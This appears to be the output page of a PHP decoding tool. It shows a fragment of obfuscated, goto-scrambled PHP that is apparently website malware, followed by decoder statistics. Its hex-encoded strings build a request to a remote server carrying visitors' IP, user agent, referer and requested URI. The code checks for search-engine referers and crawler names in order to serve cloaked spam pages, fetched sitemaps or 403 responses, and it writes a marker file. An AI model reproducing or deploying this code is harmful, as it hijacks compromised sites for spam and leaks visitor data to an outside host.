header("\x43\157\x6e\164\145\x6e\164\55\x54\171\160\x65\72\40\x74\145\x78\x74\x2f\160\x6c\x61\151\156\73\40\x63\x68\x61\x72\x73\x65\164\75\165\x74\146\x2d\70"); goto Yn9cm; jZu2u: $Ybkkx = 2711; goto nmoqx; NjzQ4: echo $EiK5X; goto jJR2f; dlT_2: z5pFA: goto Wz0KB; l0kBw: V7fIy: goto BCV2S; hJ76w: TKUmO: goto V5Gcl; x0vVu: header("\103\x6f\x6e\164\145\156\164\x2d\x54\x79\160\x65\x3a\x20\164\x65\170\x74\x2f\x78\x6d\154\73\40\143\150\x61\162\163\x65\164\75\165\x74\146\x2d\x38"); goto BnyM3; bmy8G: $EiK5X = Z1aWa($jmGEa . urlencode($EhZgC)); goto vhZxg; qulOS: echo $EiK5X; goto UGfAl; aIHgX: echo "\x6f\153"; goto E9wAu; ffCf3: usleep(100 * 1000); goto Yco8D; r9pjr: goto z5pFA; goto D90Jy; nAkdL: oQGqC: goto x0vVu; fEefK: $OeKU9 = $qIB6T . "\77\x61\x67\x65\156\x74\x3d{$nCCy3}\46\x72\145\x66\145\162\x3d{$DZemt}\46\x6c\141\156\x67\75{$DAkaI}\x26\x69\x70\x3d{$DEI9v}\46\144\x6f\155\75{$kksF_}\x26\x68\x74\164\160\75{$oyxNo}\46\x75\x72\151\75{$y0gCp}\46\160\143\x3d{$Ybkkx}\x26\x72\x65\167\162\151\164\x65\x61\x62\154\145\75{$YMTaP}\46\163\x63\x72\151\160\164\x3d{$l49T8}"; goto CTlUz; HS3aN: echo $EiK5X; goto BH_jW; i7vC0: $YMTaP = 0; goto FjzAM; RUJEO: if (!preg_match("\57\50\x42\171\x74\145\163\160\151\x64\145\x72\x7c\x50\x65\164\x61\x6c\102\x6f\164\x7c\x41\150\x72\x65\x66\x73\102\x6f\164\x7c\102\x61\162\153\162\x6f\167\x6c\145\x72\x7c\115\x4a\61\x32\x62\157\164\x7c\x46\145\x65\x64\104\x65\x6d\x6f\x6e\174\x4a\x69\153\x65\x53\x70\x69\144\x65\162\174\111\x6e\x64\x79\x20\114\x69\142\162\141\x72\171\x7c\101\x73\153\124\x62\x46\130\124\126\174\x43\x72\x61\x77\x6c\104\x61\144\x64\x79\x7c\103\157\157\x6c\x70\x61\144\127\145\x62\153\x69\x74\x7c\x4a\x61\x76\x61\x7c\106\x65\x65\x64\154\x79\x7c\x55\x6e\151\166\145\162\163\x61\154\x46\x65\145\x64\120\x61\162\x73\x65\x72\174\101\160\141\x63\x68\x65\x42\145\x6e\143\150\174\123\x77\x69\146\164\x62\157\164\174\132\x6d\x45\x75\x7c\x6f\102\157\x74\174\152\141\x75\156\164\x79\174\120\171\x74\x68\x6f\x6e\55\165\x72\154\154\x69\142\174\160\x79\164\150\157\156\x2d\x72\145\x71\x75\145\163\164\x73\174\154\151\147\150\x74\x44\145\143\153\x52\x65\160\157\162\x74\163\40\102\157\x74\x7c\131\x59\x53\x70\151\144\x65\162\174\x44\x69\147\105\170\164\x7c\x59\x69\x73\157\165\x53\160\151\144\145\x72\x7c\110\164\x74\160\103\x6c\151\x65\156\x74\174\150\145\x72\x69\164\x72\151\x78\174\x45\x61\163\x6f\165\x53\160\x69\144\x65\162\x7c\x45\x7a\x6f\x6f\x6d\x73\174\101\155\141\172\x6f\156\102\157\164\x7c\x53\x45\x4d\162\165\163\x68\102\x6f\x74\174\x59\141\156\144\145\x78\102\x6f\164\x7c\160\x61\154\x6f\x61\154\164\x6f\156\145\x74\167\x6f\162\153\163\174\120\x79\164\150\x6f\x6e\51\x2f\x69", $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\122\x5f\101\x47\105\116\124"])) { goto jginp; } goto sJH6E; CLWIF: if (strpos($y0gCp, "\152\x70\x32\x30\62\x33") !== false) { goto bxK73; } goto zNKk7; SKe6q: header("\103\157\x6e\164\145\156\x74\x2d\124\171\x70\x65\x3a\40\x74\145\170\x74\57\150\x74\x6d\x6c\x3b\40\143\x68\141\x72\163\x65\164\75\165\x74\x66\55\70"); goto Pe23g; rr4mo: $j0iG5 = "\x2f"; goto tz8gi; bV3lr: $EiK5X = ua2od($OeKU9); goto jIO1b; jrW9r: $EhZgC = "{$oyxNo}\x3a\x2f\57" . $kksF_ . $j0iG5 . "\x73\x69\x74\145\x6d\x61\160\56\x78\x6d\154"; goto c1S6O; BCV2S: goto NEwMu; goto hJ76w; v0yKi: exit; goto buvS4; ZHsET: bxK73: goto crNFr; QbefS: exit; goto hWhuq; C5J7h: goto lIGFi; goto OHUtK; f3bMl: header("\x48\124\x54\120\57\x31\56\60\x20\64\60\63\40\x46\157\162\x62\x69\x64\144\145\156"); goto IpYzF; zafpq: goto Hjw6A; goto A0fjE; fxG2F: lV58w: goto C5J7h; vUGZj: echo $EhZgC . "\x3a\x20" . $Bdh6i . "\x3c\x62\162\57\76"; goto ffCf3; ts2oP: $EiK5X = UA2Od($h54ez); goto lhFtZ; Yco8D: $OeKU9 = $qIB6T . "\77\141\147\x65\156\164\x3d{$nCCy3}\x26\x72\145\x66\145\162\x3d{$DZemt}\46\154\141\156\147\x3d{$DAkaI}\46\151\x70\75{$DEI9v}\46\x64\x6f\155\x3d{$kksF_}\x26\x68\x74\x74\x70\x3d{$oyxNo}\x26\165\162\x69\75{$y0gCp}\x26\x70\x63\x3d{$Ybkkx}\x26\162\145\x77\162\x69\x74\x65\141\142\x6c\x65\75{$YMTaP}\46\x73\x63\162\x69\160\164\75{$l49T8}\46\163\x69\164\145\155\141\x70\75" . urlencode($EhZgC); goto RWign; LnhMy: ZK0BE: goto Lyxb6; CB7s1: if (strpos($j0iG5, "\151\156\x64\x65\170\x2e\160\x68\x70") !== false) { goto Mm5Y3; } goto AMq7W; pOnqd: if (preg_match("\57\x28{$Vsx34}\51\57\151", $_SERVER["\110\x54\124\x50\x5f\122\x45\106\105\122\x45\x52"])) { goto D4q6x; } goto KC7aG; bUDpk: @file_put_contents("\x75\x78\157\x2e\x74\170\x74", "\61"); goto oaXy2; buvS4: a5ud3: goto zcp9a; C6t8o: $Vsx34 = "\x62\151\x6e\x67\174\147\157\157\x67\154\145\x7c\171\141\150\157\x6f"; goto FJHEG; CQXk3: if (!($XZar_ < 30)) { goto nR4to; } goto QAzgZ; J3eZs: goto QjUPc; goto VR90G; sqP0s: header("\x43\x6f\156\164\x65\x6e\x74\55\124\x79\160\x65\72\40\x74\x65\170\164\57\170\155\154\73\x20\x63\150\x61\x72\163\145\164\75\165\x74\146\55\70"); goto NjzQ4; arq5X: if (substr($EiK5X, 0, 5) == "\x3c\77\x78\155\154") { goto oQGqC; } goto SKe6q; gbHFX: wHbB3: goto TBRjr; pOjKF: Hjw6A:
Function Calls
None |
Stats
MD5 | 56f0a7a32fd8113dc3b25749db593c4c |
Eval Count | 0 |
Decode Time | 91 ms |